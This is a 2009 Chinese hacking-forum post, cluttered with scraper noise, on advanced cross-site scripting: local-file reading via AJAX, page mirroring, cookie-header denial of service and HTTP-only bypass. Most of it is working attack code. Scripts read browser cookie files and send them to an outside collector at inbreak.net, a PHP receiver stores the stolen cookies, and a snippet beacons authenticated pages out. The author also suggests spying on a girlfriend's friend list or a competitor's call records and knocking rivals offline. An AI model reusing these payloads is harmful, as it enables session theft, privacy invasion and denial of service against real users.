XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
本帖最后由 racle 于 2009-5-30 09:19 编辑
9 y6 `( X5 I7 ^; f" ~: F0 t
XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
4 I7 L% I6 b6 S/ C$ |1 \& M1 p% [By racle@tian6.com   
http://bbs.tian6.com/thread-12711-1-1.html
" P3 R5 [: o& {3 f9 p转帖请保留版权
3 ~- z6 ~4 l7 Y6 B, g  ?% J1 X


-------------------------------------------前言---------------------------------------------------------
$ B2 U) u4 o' d: a4 p# R6 ]
' }- E& K/ z  ?* w9 C
本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.


9 F+ a7 O3 z7 E: P2 g6 d如果你还未具备基础XSS知识,以下几个文章建议拜读:
http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
* a& Y* N/ ~& s* s. ~8 h0 nhttp://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
. j# n' m# ?& m0 I6 s8 Y! I5 x& Uhttp://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
& P- f# P$ D/ [) L. Yhttp://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
- }; x  P) I: Y* ?* a# phttp://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持

- I+ D5 z3 [( Z, N" y* x


# ^7 z8 @5 H7 M* A- T& O* K, ]如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.

; e5 v% j$ {* J5 ~希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.
# S+ @, b& f5 G* c- s
& \* K* C4 b+ }1 E如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,

% D* s1 d+ W! u2 j$ t6 k$ m5 n& V7 oBaidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大
0 K3 M$ y9 ^$ t/ Y
" u0 d) f; Z' Q* s1 h  uQQ ZONE,校内网XSS     感染过万QQ ZONE.

OWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪
# I7 J+ u4 s2 C* |6 Z; E
" P' n1 I$ E$ K..........
  L8 ~) G! B0 Z: G复制代码------------------------------------------介绍-------------------------------------------------------------

# ?# L: c, m% W' z什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
2 N( F  e7 ]/ e
; S: ^( u# ^4 `2 }
! \% D4 ~0 }  x; v
# P  p4 D8 R. W, H跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.

( l+ ^8 i8 G& ^' T! G

如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
我们在这里重点探讨以下几个问题:
- T& H$ w- P9 q: l% L/ T* `; U
& e2 x) W, T2 c7 M; Q& W1        通过XSS,我们能实现什么?

7 w. V  {1 S+ B0 ]2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
! F, ^7 H1 l# \) g
3        XSS的高级利用和高级综合型XSS蠕虫的可行性?
7 x+ Z0 ?0 O" M3 U/ W
' M7 b) @$ \9 A& T4        XSS漏洞在输出和输入两个方面怎么才能避免.
- h8 @$ F1 K. |) H5 s" l- m


------------------------------------------研究正题----------------------------------------------------------

  T7 x  P: h2 Q! a( O1 B' H7 J
9 H7 L# T; `0 b4 \
& I, W- ^. ?4 a! l0 K% D( l通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
. K- H6 h( w# Y; G- _2 ^" {' G2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
4 O% d' G/ g; H* o* C3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
2 h4 k+ O' `% z$ o' S; T) S5 a( p4:Http-only可以采用作为COOKIES保护方式之一.
; J. Y& |5 z4 |8 ?3 \9 B

& ~& U" Y3 |% t7 Z* ]9 u% N1 O; |" ^


, Q" @: ]* C' U* u: \: I(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)

我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)

. i% k, Z- ?4 {6 m6 n+ @4 x9 D
' V9 y/ ~* h% `+ E8 A2 X4 i8 R
    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。

9 i4 H5 E7 r  u( y6 T: [( w1 E
: @( ]1 z4 o( u0 G6 R* z
% F, T# M  l( W( e6 C    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。

5 t/ Q) `# v( x( U
- L- [" ^  `8 x7 {; u
    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
复制代码IE6使用ajax读取本地文件    <script>

1 |. l. u/ h* e# A% K    function $(x){return document.getElementById(x)}
/ Q6 \  W# s% y" x3 S  L5 G

! g$ E# |. O% Z, X
    function ajax_obj(){
8 h  O) }7 F; z5 y* N, z
  ]5 ?( [# t7 z: M9 P+ _    var request = false;

    if(window.XMLHttpRequest) {
- F! P0 O) J! r+ z( _
    request = new XMLHttpRequest();
0 B4 ^3 ]8 L! |6 j% ~2 ~. {/ x
( ~# [2 S/ m0 M6 ^2 g! z    } else if(window.ActiveXObject) {
5 m5 G3 u; b% a( m
0 c( R9 x) R( O1 j    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
6 q( N0 ~) \% p3 H6 d5 {, [  C
3 g* ~. Z+ {; }7 A9 s* @
& R) Z  [7 l. Y9 m  Z
    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
8 L9 Y# U3 v' ?
    for(var i=0; i<versions.length; i++) {
  @' e+ U. E. d: `! r5 T  W9 e
& Y' ~7 [# `+ }. ~$ f: N    try {
& F0 R+ O5 M4 p9 u! t$ l
) i4 W( z6 A; \4 U( h    request = new ActiveXObject(versions);
/ g( U! s# C9 u0 }' U& A
    } catch(e) {}
3 P1 \% g- T! D- |- Q6 ]
: Y: y/ r" p3 ]6 I, C    }

- n4 R/ z& O4 e; l+ L2 I    }
+ R% o8 J& p. O$ i! ~* ]1 K
7 d% C3 G2 x/ w! Q) I    return request;

& X9 p! ]/ ~# w* B# o1 Q    }

    var _x = ajax_obj();
+ ^; `$ P7 n+ d0 u& [+ B$ Z, h
* S, X: X/ [$ c" G- I7 ^1 m( A    function _7or3(_m,action,argv){

  t/ E9 V( G* x4 p) s    _x.open(_m,action,false);

    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

6 b# }7 `) Z! V( y$ S    _x.send(argv);
) p) y' b2 E& s2 G( _
1 v; H$ b. u9 n  q) L2 j9 d: B    return _x.responseText;

+ j8 L7 p+ ~. w" U3 g/ K/ h& o, U. U    }



    var txt=_7or3("GET","file://localhost/C:/11.txt",null);

    alert(txt);
( C! y3 h* E1 |


: M( B0 A! K/ S- O$ I; U$ w, n    </script>
复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>

8 q8 f! T- x$ m: D- D' s8 Z$ q    function $(x){return document.getElementById(x)}
/ S: s3 T. c8 e- g& c  I" q2 }
( X9 B3 w8 m0 e

- {7 Q; l& F( @( D  {    function ajax_obj(){

0 j: ~- t' h8 ?; H5 x3 s    var request = false;

    if(window.XMLHttpRequest) {

" c  I- _( J1 U2 Y: U8 V6 ?7 r2 f    request = new XMLHttpRequest();

    } else if(window.ActiveXObject) {

1 s; N/ i: w: f! D$ H    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
- ?! A, O8 N& a4 _2 W7 s

  R" j% O2 u/ t" v
    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
! R( B; Q. D3 h/ S0 [5 Y1 j* q% n
    for(var i=0; i<versions.length; i++) {

0 K4 j6 [1 M& j: ]8 ~1 N    try {

    request = new ActiveXObject(versions);

# G4 X& o* d7 M    } catch(e) {}
: ~: ^* o( ?: c* |: ^* U2 `
- l6 x: v9 E' a% o% _    }

    }
7 O9 F% s4 p9 ]
    return request;

    }
& f! l! q* O$ i5 \" h* N1 |
    var _x = ajax_obj();
" T0 @/ r% B$ L3 C" f( M! R
    function _7or3(_m,action,argv){
2 C, B: u8 W: t# [! u. o
    _x.open(_m,action,false);
, z- ?1 c3 u4 k
4 }$ t: n0 B. R9 z- Z* W7 _    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

7 b1 ^+ K( G. K) G    _x.send(argv);
+ A. f8 I6 [- f- U; p
) W/ _$ g* E: p    return _x.responseText;
8 m. [1 k. J8 k3 x1 h- X
    }
, |/ H/ |9 r7 W% f& ^+ M; S
" A; ~9 F% M' H/ h

    var txt=_7or3("GET","1/11.txt",null);
7 P0 P! o! Z5 D" n; |$ q4 S- ?
    alert(txt);

9 [- g3 a' \0 Y# E2 H

- u/ m$ v+ Y& o( ~    </script>
复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
$ K7 P& U7 \& F  w) `, ^

- l* H( R, v6 N8 |% d+ l8 L' R. @
- z' s+ j; T5 ]- T+ M5 ~( E: uChrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
. ^& ?- V( U2 W7 X: {* N
$ j1 l( V# \6 i8 F4 T2 [% ?
. K  ~2 q- [0 B0 g# L
<?   
9 u7 o' q& b5 W* g9 Y; \- P- ^
/ X& U5 I1 C) c  S% J3 U/*  

$ R  X% V% f9 {9 @     Chrome 1.0.154.53 use ajax read local txt file and upload exp  
6 t7 F5 F+ e9 j' O% U% e8 F- a1 M
% \& M* P8 z- c) Q! ?  v5 P     www.inbreak.net   

     author voidloafer@gmail.com 2009-4-22   

     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  
$ U, w2 S* ]! r* n) ]! A$ R  ?) D
*/  
7 p; \$ v. W2 M
. [  R5 H6 Y4 T) _4 }& Y9 t1 eheader("Content-Disposition: attachment;filename=kxlzx.htm");   
, A# N/ {" i5 |( n( g0 E: k
3 u# f6 B2 A2 a# @# n$ aheader("Content-type: application/kxlzx");   

: n4 ]2 u" d$ W% B/*  

     set header, so just download html file,and open it at local.  
" o5 w3 r  B3 D. _+ v' Z
1 {% a$ e( j9 f& ~. A6 }2 T* @*/  
& ^2 x$ O9 g6 j& j- v
4 ~" s- T) P2 s8 _/ x) e& w?>   

<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   

     <input id="input" name="cookie" value="" type="hidden">   
. l' M2 J! ~5 |
; B$ z; E% c/ b' u</form>   

" C2 j: b5 X, s# Q9 ?; ?<script>   

function doMyAjax(user)   
+ I. `3 t$ T8 |- y3 C
$ Y5 \0 ?3 I# A" C; r{   
. x# J; \( [( j( q/ y4 o
' |! e) @/ x% K2 F7 l: W  gvar time = Math.random();   
( P5 C0 {  ]. L1 ]/ f- @: Z
5 t: G- o0 C( \7 j, K2 i! O8 P2 v/*  
2 k- K8 _- s# s) ^
/ n6 p) H! l3 S% N& X& L- u4 C; h; Zthe cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  

9 @  r" s7 h5 jand the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  

; `4 O/ H0 }7 V2 hand so on...  

% Z" |4 f) K7 u*/  

var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   
& Z: e% r  A8 V8 |
   
. Y8 ^2 R( b2 Y3 d; \1 z" I
startRequest(strPer);   
  [. j2 ^; v) d


! y1 Z$ D9 F7 {4 ]* g}   

   

function Enshellcode(txt)   
2 d; A$ j* ?7 F/ X
{   
) i, h& L# `! N9 o1 L5 o) Y# A
& J  X) H; z5 j( }var url=new String(txt);   

var i=0,l=0,k=0,curl="";   
! v/ d, U) o; u( L0 @
l= url.length;   

8 a+ K- p, M6 _- q; g+ _$ S( |for(;i<l;i++){   
: V2 t% X7 t0 t& x$ [
k=url.charCodeAt(i);   
- R. J  H( ?0 h2 U. ]
if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   
9 h& {/ l$ H" F5 U, B  C; d7 W
$ b* s/ L/ F( s$ G& w% Iif (l%2){curl+="00";}else{curl+="0000";}   
  K3 b( G* w) K9 z- d% x4 z
% D1 r$ S" ~1 Q/ v8 Ncurl=curl.replace(/(..)(..)/g,"%u$2$1");   
) l0 \2 U  [7 |" i& Q! y2 K
  W8 H) e# w( z' nreturn curl;   
/ v% H9 A- ^' R. R' L1 R2 @
}   

, w% N% J8 G+ K# e4 y0 f# {3 z   

   
$ P, u8 W* R0 V
* ^* c  \, Z7 u9 ]1 L  Tvar xmlHttp;   

- @  w2 Y" L' C. Jfunction createXMLHttp(){   

  J* y6 ]: A- u# r# ~1 p5 Z     if(window.XMLHttpRequest){   

xmlHttp = new XMLHttpRequest();           

% o) C7 \& Q4 a# ]     }   

& N4 T8 X, r. J1 W' u# l     else if(window.ActiveXObject){   
0 c" `, r; a- B( @
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   
$ ^5 y* M) O( |$ a! N# t- J
* n; w8 _/ Q4 u8 X     }   

) Y( d: n& P6 S}   

& B! u* C( \+ R+ x- i3 Q" y   
6 Y6 _& i7 [6 g: P1 p
7 m1 w" W' q+ B' B5 Cfunction startRequest(doUrl){   
8 ?7 l& |; j4 A+ E. L7 K0 x+ `
2 T2 a" Z1 ^/ G, w- |   
1 V7 Q3 F3 _+ V* p
     createXMLHttp();   



$ U$ U) E: s2 T9 Z/ [     xmlHttp.onreadystatechange = handleStateChange;   
# p) i7 M, ]$ Y! J9 i0 `  [
- k' Q/ h' o7 c+ F7 Q3 [0 M9 V  ~

     xmlHttp.open("GET", doUrl, true);   

9 j8 ^9 r/ O2 ]! w, W

0 i" U2 M' T* w8 W" R% {     xmlHttp.send(null);   
4 b0 j6 a& `  v! X7 |; Y

1 T0 v% i- l: ^  V2 q" e" W


}   
( }. F  g3 _$ K7 [4 i
6 {/ ?) ]" Y5 b: e0 K4 V& _   
1 S, W2 C3 [( \( T0 t/ K/ D
function handleStateChange(){   

     if (xmlHttp.readyState == 4 ){   

2 p8 b6 @: G- {% ^     var strResponse = "";   
1 F5 e5 C# `0 h# o' @: f
/ H& Q; @0 a7 @) }. X* V     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   
6 l+ U! W; p# b" g# Z9 a6 G
        

" I7 ]7 X; V; |+ k$ p7 H4 @' E' x1 N     }   

% I; u5 J, Q0 g}   

   
/ [' y& K7 m+ H1 N0 A
   
) u2 S/ _  Z3 v( ]9 |0 G$ z1 j' b
function framekxlzxPost(text)   
7 P! H1 q9 w- K
{   

     document.getElementById("input").value = Enshellcode(text);   

     document.getElementById("form").submit();   

! D& \: e: A& H; d2 Q) d}   

; V. H1 ~: p- X5 G: `   
- }" W& x+ L, i) i
doMyAjax("administrator");   
3 Y) u# B% u" B8 J
   
  c7 h7 q8 C2 o  I. }
+ e  E+ S; M7 ^+ G. x" S& t</script>
复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  
7 C3 F4 A  p* o
var xmlHttp;  
9 \4 `1 \" y; _; y, c7 V1 q1 u( Q
) X4 l3 C4 Z& S/ z8 A  bfunction createXMLHttp(){  

8 v' V0 d" U4 v4 E$ r( e$ a0 o- q     if(window.XMLHttpRequest){  

, n% F" K2 s& z& _         xmlHttp = new XMLHttpRequest();         
7 ^/ F! C: F8 j6 p  w- Y6 k# b
7 x# m; x* `7 _$ L  ?     }  

     else if(window.ActiveXObject){  
  Q3 l# @; M- X4 M% `
+ E' @  ]+ R% P7 u5 g         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  

     }  
# p  y  Y" K1 }; u9 i! ^
# L  q, @3 h) X}  

! ~; O3 e: d3 K! i+ q, c5 \, w' t& ]   
: N* a* P$ I" O
6 e2 b; R; K1 c- h0 q0 Ifunction startRequest(doUrl){  
1 ?2 H* b& \$ [3 T$ V* ]
+ X& c# H  B, j% c9 C( m- s0 ^3 `           
: Y/ W* w# b* A! K  Y8 H  T% I. C
     createXMLHttp();  
% k$ J' g4 \7 ]" I* L
' V& |; b+ M: w8 V) W% g' k* l      

     xmlHttp.onreadystatechange = handleStateChange;  
9 S, r1 i( k, s9 q$ L7 r
2 h6 G9 w' S! K( d/ g7 T" |      
4 e) v; U' ]5 {$ N- e
     xmlHttp.open("GET", doUrl, true);  
- r2 h& x7 x0 b7 t; y- b
      

+ [( u& V2 V/ H' E     xmlHttp.send(null);  
% ^) {( V' q  _% }
      

      

  O5 l- y6 q  V  }, z( e* x% ]}   
+ \6 g6 {# B, i# f
   
% X- A( R8 D$ F! A5 T0 f8 g' G
function handleStateChange(){  
$ Y# ~5 }9 ?7 Z) q! ]0 J% Z: h9 x' N/ M
& ^- f: V5 X0 U$ z; e4 {3 }& Y9 n     if (xmlHttp.readyState == 4 ){  
. h7 u2 G/ H6 F
. a; i& `( }3 ?$ E             var strResponse = "";  

/ ]9 Q$ s- p' [5 Z3 ^5 |* m, x             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   
. X6 P4 U9 j* y% q: p8 M
8 _1 D$ ?7 b  p  u& B               
; S: m+ V5 X) V7 {
     }  
% @4 H( ]2 S. g, H. }  V! {9 v! V
0 l- u( b% m0 R: a}  
5 m. Z. W. ], E
% W1 |5 U* h1 T) H6 c1 L   
1 f3 c' S4 v1 q
4 a+ P9 J6 S6 t# e$ x5 T& u. y+ Xfunction doMyAjax(user,file)  

; q6 u+ b  d9 T: O* ~. g  p{  

9 ~+ n: g9 v. E+ g7 F: P, U0 x         var time = Math.random();  
. I" [" [; F  Z0 V0 s
( }4 ^# @* Q% o7 R/ B           

2 o0 D5 r3 P/ x% L# D& C         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  

           

" f3 i: }& A. Q; R$ {5 h9 [9 o         startRequest(strPer);  
4 k2 f; }, p% V: a; }7 Q
      

* Q2 _4 [8 [/ @0 P9 v: D}  

   
, U7 h' q% S$ f- |
function framekxlzxPost(text)  

{  
; _8 U( C! v7 A6 B, h
) J# f8 h+ e& n6 r4 n0 l: u     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  

8 q( n) h6 p* N     alert(/ok/);  

}  

  {7 ?, \# @: s9 V* K: ?( U2 ?6 O$ \   

doMyAjax('administrator','administrator@alibaba[1].txt');  
2 {6 G# O2 K0 [, G& z
$ }* x+ a, ?& B; E3 Y   
+ T7 s, N. |* }8 D. }
; |# i6 t8 b5 {! v6 q, H</script>
! T1 A1 I" k' @: G5 A
/ d* d3 p' a" Z3 ]6 c0 F


5 Q. ?* p/ V* W  e, `- Z
a.php

0 g) l6 D. A0 S4 m5 ?+ H

<?php      

8 _# }1 A' R! s, ~3 ^   
% b+ C" ], @$ T8 Q1 r5 U0 @
$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  
/ S! |. o& Z" O; }, j# ^
$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   

  

$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     
# U8 m3 s  }( U$ `0 Y0 ?
! P9 B" ]8 u7 u5 a$ C/ m$ @fwrite($fp,$_GET["cookie"]);      

, X! ?# g$ X* mfclose($fp);   

; B& o4 J4 _$ I; s?>
" P% {7 s( G- [: p- c复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
6 U0 e) V) W* ~/ t" W7 W; t8 S7 g
或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.
4 Z$ b7 m! Z: H5 ^+ r  y( Y) Z5 c+ z
* Q+ @; x. _! U9 F代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);

//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
, ?* U0 d7 l2 V5 L7 T! {+ Y
2 L4 R) X6 l$ L; Q9 a& _//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);

function getURL(s) {
2 g' `! d6 {- l1 \" E
var image = new Image();

image.style.width = 0;
" c% G5 w+ }6 \: X+ R+ }% c
image.style.height = 0;

image.src = s;

}
. n$ D# ]$ _4 M+ w) {
6 M1 C; q  n' |! H4 ?8 i% j8 h7 l: F* MgetURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
" L4 R6 ]( a7 h( b6 z3 s复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
7 F: H; }' o- {$ x* d! f/ ]8 |这里引用大风的一段简单代码:<script language="javascript">

var metastr = "AAAAAAAAAA"; // 10 A
& b3 P4 e" q: A6 f
var str = "";
; E; B! E3 C* H
while (str.length < 4000){
1 e! V8 H- L" t* O+ o9 [2 @
6 ]! H) d. o3 {# r0 q$ D    str += metastr;

}

7 K6 a9 q2 N* |
0 u3 I1 [7 ?* z: }
# I; O% K1 ^+ |! p- N! Y) Q6 O5 n3 Wdocument.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS
* c( d) H0 h7 b
</script>

1 u! u$ t) X" l5 {8 y$ C( w& N& E3 w$ Z详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150

假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
( H& Y) t! G& _; B攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
/ `9 H4 Z7 [2 j) t


4 E; g' E" ?5 j6 ~
7 n% v& G5 l6 l9 O  P: ]
& Y" C0 @- V& c$ F) f
(III) Http only bypass 与 补救对策:
9 {5 |# \9 ?( w: K
什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
9 e( b0 f" f/ Z  u( U9 L" g6 O! u" p以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
! W2 V6 T0 q1 z2 n( z
% g- I, O+ u! F1 k) \8 G<!--

4 g6 H" y- C( rfunction normalCookie() {
* G! r9 }+ Z( Z% i$ L* f
  o& c3 v  s& u5 H6 ]document.cookie = "TheCookieName=CookieValue_httpOnly";

3 V1 y  L# q* c  m2 f4 ~alert(document.cookie);

$ L) d4 v6 l6 {3 a' d}
+ J) j0 P6 E' M0 h2 X/ H6 K
* D. Y* r& t1 G2 Z
$ @  c& \5 V+ B  g- y  T
; D2 o2 b: `. L
% M! g8 u( |0 N5 l8 h  I8 w9 M
function httpOnlyCookie() {
/ u3 `$ @" |: b! ]) A9 _
document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
. \5 u" l  I2 c+ S7 j1 j" ^
alert(document.cookie);}

- m. A# h' W$ p0 u$ U' _

//-->

</script>
0 h  N) c$ i' C5 d' q- K8 w( h) J; f
; j7 L% R  M  q$ l* j! i
. e8 F9 k- i2 L
<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>

<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
3 U% `( w) ^7 r* ]6 y' s8 S+ m复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>
+ I% I+ w4 q6 h% P
- E7 k7 [1 X4 Y6 w! D
. h, }- [/ K$ F2 `* ^5 K
3 v. N6 H& l8 Z" ?$ N; p2 S' U# }var request = false;

  Q( w7 I- d; E1 E8 j0 J6 l) x        if(window.XMLHttpRequest) {
7 i9 l1 E, Z5 C9 @1 N5 `5 o
            request = new XMLHttpRequest();
) q4 y4 p  u" G' z$ @5 N5 V
* R. `+ ?' Q  s2 O            if(request.overrideMimeType) {

                request.overrideMimeType('text/xml');

- G7 ?. g1 f5 _2 u7 [            }
* e0 ~: p0 e3 M4 K, u/ N
        } else if(window.ActiveXObject) {

, r& G$ c( d& [8 \# m+ Q" ]            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

            for(var i=0; i<versions.length; i++) {

                try {

                    request = new ActiveXObject(versions);
8 f6 r# R4 q; K/ ]2 B
                } catch(e) {}
6 P4 |9 j7 A8 v1 d( A3 y
            }
, w2 m$ q5 S( ?
        }

+ O, L9 Z* Q7 e+ Z. TxmlHttp=request;

3 B/ e3 w/ {' g: kxmlHttp.open("TRACE","http://www.vul.com",false);
# v" G6 N, F6 K2 Z4 w5 n. r& ]
xmlHttp.send(null);

5 F3 {% Z) a) G# e9 c- [) axmlDoc=xmlHttp.responseText;

9 v7 Z& i/ V; |7 }, S/ e8 j- Xalert(xmlDoc);
3 @5 C/ K* I1 p! H6 S- a6 y
</script>
7 O# I/ G* R9 a  ~复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>
7 J$ l8 }- x; t7 X- ^8 v. _  O" @
  B3 @# b. @8 t  a8 z5 ]# ~" c5 _- gvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

% @6 q- P& k7 z+ ^2 vXmlHttp.open("GET","http://www.google.com",false);

XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

XmlHttp.send(null);
) N  V& ^7 M/ k: C. L: i
( ^, l6 J% n8 L5 V. Mvar resource=xmlHttp.responseText
/ q: P& \$ B" E- L& ]$ \
$ ^7 j7 {% T/ y5 v* f" ?8 bresource.search(/cookies/);

......................

- t8 n# e/ G2 i' |) v$ B8 k3 l. j) i</script>
: _2 T1 a2 Y+ E$ z; p



5 B$ A, M5 f$ y/ M7 P% I. I
